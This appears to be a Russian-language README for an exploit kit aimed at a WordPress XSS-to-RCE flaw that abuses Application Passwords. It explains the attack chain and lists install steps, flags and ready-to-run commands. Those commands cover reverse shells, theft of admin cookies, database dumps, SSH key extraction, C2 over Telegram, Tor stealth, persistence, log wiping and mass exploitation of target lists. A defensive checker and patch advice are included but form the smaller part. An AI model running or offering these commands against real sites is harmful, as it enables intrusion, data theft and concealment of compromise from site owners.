CVE PoC

🌀 CVE‑2026‑64638 – WordPress XSS2Shell: комплекс безопасности

⚠️ ТОЛЬКО ДЛЯ ЭТИЧНОГО ИСПОЛЬЗОВАНИЯ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Данный репозиторий предоставляет инструменты только для авторизованных специалистов по безопасности, blue team и пентестеров.
Несанкционированный доступ к компьютерным системам незаконен согласно CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичным законам по всему миру.

📖 Обзор уязвимости

CVE‑2026‑64638 — это критическая отражаемая XSS-уязвимость до аутентификации в ядре WordPress версий с 4.7.0 по 7.0.2, которая позволяет атакующему расширить XSS-атаку до полного удалённого выполнения кода (RCE) через функцию Application Password.

Как это работает

Различие в парсерах – PHP-функция strip_tags() и WordPress-функция wp_kses_post() по-разному разбирают HTML-теги, что позволяет вредоносному вводу пройти санитизацию.
Отражённый XSS – атакующий внедряет специально сформированную полезную нагрузку в форму входа (wp-login.php). При неудачном входе полезная нагрузка отражается обратно и выполняется в браузере жертвы.
Злоупотребление Application Password – внедрённый JavaScript автоматически генерирует Application Password через REST API WordPress и передаёт его атакующему.
Загрузка плагина (RCE) – используя перехваченный Application Password, атакующий авторизуется в админ-панели и загружает вредоносный плагин, содержащий веб-шелл.
Полная компрометация системы – веб-шелл обеспечивает выполнение системных команд, позволяя создавать reverse shell, закрепляться в системе, перемещаться по сети и полностью захватывать сервер.

Затронутые версии

WordPress 4.7.0 – 7.0.2 – уязвимы
WordPress 7.0.3 и новее – исправлено
Обновления безопасности перенесены во все поддерживаемые ветки

Патч

Обновитесь до WordPress 7.0.3 или новее.
Если обновление невозможно, отключите функцию Application Password в качестве временного решения.

🧰 Инструменты

Инструмент	Назначение	Целевой пользователь
`exploit.py`	Полный набор средств эксплуатации с reverse shell, закреплением, C2, повышением привилегий, форензикой памяти, дампом базы данных, извлечением SSH-ключей и массовым сканированием.

📊 Сравнение возможностей

🎯 Сводка сценариев использования

⚙️ Установка

git clone https://github.com/tc4dy/CVE-2026-64638-PoC-Exploit
cd CVE-2026-64638-PoC-Exploit
pip install -r requirements.txt

requirements.txt

requests
urllib3
#ops
pymysql
mysql-connector-python
PySocks
requests[socks]

📋 Параметры

Параметры `exploit.py`

Параметры `safecheck.py`

💥 Сценарии

📊 Команды интерактивной оболочки

🧪 Использование эндпоинтов и API

Эндпоинт	Назначение
`/wp-login.php`	Страница входа – точка внедрения XSS
`/wp-admin/authorize-application.php`

🛡️ Ответственное использование

Используйте эти инструменты только на системах, которыми вы владеете, или на тестирование которых у вас есть явное письменное разрешение.
Несанкционированный доступ незаконен и неэтичен.
Авторы не несут ответственности за неправильное использование.
Всегда соблюдайте законы и нормативные акты вашей страны.

Данное программное обеспечение предоставляется только в образовательных целях и для авторизованного тестирования безопасности.

Обнаружение уязвимости	✅	✅
Определение версии WordPress	✅	✅
Обнаружение отражения XSS	✅	✅
Перехват Application Password	✅	❌
Загрузка плагина (RCE)	✅	❌
Reverse shell	✅	❌
C2-связь (HTTP/DNS/Telegram)	✅	❌
Повышение привилегий	✅	❌
Форензика памяти	✅	❌
Дамп базы данных	✅	❌
Извлечение SSH-ключей	✅	❌
Методы закрепления	✅	❌
Аудит заголовков безопасности	❌	✅
Проверка раскрытия конфигурационных файлов	❌	✅
Проверка листинга каталогов	❌	✅
Проверка раскрытия phpinfo	❌	✅
Массовое сканирование	✅	✅
Поддержка прокси	✅	✅
Поддержка Tor	✅	✅
Ngrok-туннелирование	✅	❌
Интерактивная оболочка	✅	❌
Неинтрузивный (безопасный) режим	❌	✅
Вывод JSON / отчётов	✅	✅

Blue Team – проверка, уязвима ли ваша установка WordPress	`safecheck.py`
Аудит безопасности – неинтрузивная оценка уязвимостей	`safecheck.py`
Red Team – авторизованное пентестирование с полной эксплуатацией	`exploit.py`
Bug Bounty – тестирование с ответственным раскрытием	`safecheck.py`
Массовое сканирование – проверка нескольких целей на уязвимость	`exploit.py` или `safecheck.py`
Реагирование на инциденты – проверка, скомпрометированы ли системы	`safecheck.py`
Продвинутое пост-эксплуатационное взаимодействие – закрепление, C2, форензика	`exploit.py`

`-t, --target`	URL целевого WordPress (например, `https://wordpress-site.com`)
`-l, --list`	Файл со списком целей (по одной в строке) для массового сканирования
`--lhost`	Локальный IP-адрес для обратных вызовов reverse shell
`--lport`	Локальный порт для reverse shell (по умолчанию: 4444)
`--proxy`	HTTP/HTTPS-прокси (например, `http://127.0.0.1:8080`)
`--timeout`	Тайм-аут запроса в секундах (по умолчанию: 10)
`--retry`	Количество повторов (по умолчанию: 3)
`--threads`	Количество потоков для массового сканирования (по умолчанию: 5)
`--exploit`	Автоматическая эксплуатация уязвимых целей при массовом сканировании
`--ngrok-token`	Ngrok authtoken для внешнего туннелирования
`--payload-type`	Тип XSS-полезной нагрузки: `reflected`, `dom_based`, `waf_bypass`, `case_manipulation`, `double_encoded`
`--session-hijack`	Включить перехват сессии (кража cookie администратора)
`--dump-db`	Сделать дамп базы данных WordPress (требуется pymysql)
`--extract-ssh`	Извлечь SSH-ключи из целевой системы
`--tor`	Маршрутизировать трафик через Tor (socks5h://127.0.0.1:9050)
`--stealth`	Включить скрытый режим (подделка заголовков, задержка запросов)
`--no-cleanup`	Пропустить очистку журналов после эксплуатации
`--ssl-verify`	Проверять SSL-сертификаты
`--c2-type`	Тип C2: `http`, `dns`, `telegram`
`--c2-server`	URL C2-сервера или токен Telegram-бота
`--auto-priv-esc`	Автоматическое повышение привилегий после получения оболочки
`--memory-forensics`	Включить модуль форензики памяти
`-v, --verbose`	Подробный вывод
`-q, --quiet`	Тихий режим (минимальный вывод)

`-t, --target`	URL целевого WordPress (например, `https://wordpress-site.com`)
`-l, --list`	Файл со списком целей (по одной в строке) для массового сканирования
`--timeout`	Тайм-аут запроса в секундах (по умолчанию: 10)
`--retry`	Количество повторов (по умолчанию: 3)
`--threads`	Количество потоков для массового сканирования (по умолчанию: 5)
`--proxy`	HTTP/HTTPS-прокси (например, `http://127.0.0.1:8080`)
`--tor`	Маршрутизировать трафик через Tor (socks5h://127.0.0.1:9050)
`--ssl-verify`	Проверять SSL-сертификаты
`--output`	Выходной JSON-файл отчёта
`-v, --verbose`	Подробный вывод
`-q, --quiet`	Тихий режим (минимальный вывод)

1	Быстрая проверка уязвимости	`python safecheck.py -t https://wordpress-site.com`
2	Детальное сканирование с отчётом	`python safecheck.py -t https://wordpress-site.com --output report.json -v`
3	Полная эксплуатация с reverse shell	`python exploit.py -t https://wordpress-site.com --lhost 192.168.1.100 --exploit`
4	Использование собственной XSS-полезной нагрузки	`python exploit.py -t https://wordpress-site.com --payload-type waf_bypass`
5	Перехват сессии (кража cookie администратора)	`python exploit.py -t https://wordpress-site.com --session-hijack`
6	Дамп базы данных WordPress	`python exploit.py -t https://wordpress-site.com --dump-db`
7	Извлечение SSH-ключей	`python exploit.py -t https://wordpress-site.com --extract-ssh`
8	Использование Tor для анонимности	`python exploit.py -t https://wordpress-site.com --tor --stealth`
9	C2-связь через Telegram	`python exploit.py -t https://wordpress-site.com --c2-type telegram --c2-server "https://api.telegram.org/botTOKEN/chat_id"`
10	Массовое сканирование из файла	`python exploit.py -l targets.txt --threads 10 --exploit`
11	Форензика памяти после получения оболочки	`python exploit.py -t https://wordpress-site.com --memory-forensics`
12	Автоматическое повышение привилегий	`python exploit.py -t https://wordpress-site.com --auto-priv-esc`
13	Интерактивная оболочка	`python exploit.py -t https://wordpress-site.com -i`
14	Ngrok-туннелирование	`python exploit.py -t https://wordpress-site.com --ngrok-token YOUR_TOKEN`

Популярное

Описание

CVE-2026-64638-PoC-Exploit

`reverse`	Запустить прослушиватель reverse shell
`persist`	Применить методы закрепления (cron, systemd, rc.local, SSH, WP)
`clean`	Очистить системные журналы и историю
`dumpdb`	Сделать дамп базы данных WordPress
`ssh`	Извлечь SSH-ключи
`priv`	Автоматическое повышение привилегий
`mem`	Запустить форензику памяти
`c2`	Показать статус C2
`c2task`	Проверить наличие задач C2
`exit`	Выйти из интерактивной оболочки

США	Computer Fraud and Abuse Act (CFAA) – 18 U.S.C. § 1030
Великобритания	Computer Misuse Act 1990
Турция	TCK 243 (несанкционированный доступ), TCK 244 (вмешательство в систему)
Германия	StGB § 202a (шпионаж за данными), § 202b (перехват данных)
Франция	Loi Godfrain – статья 323-1
Австралия	Cybercrime Act 2001
Канада	Criminal Code – раздел 342.1
Индия	Information Technology Act 2000 – разделы 43, 66
Япония	Act on Prohibition of Unauthorized Computer Access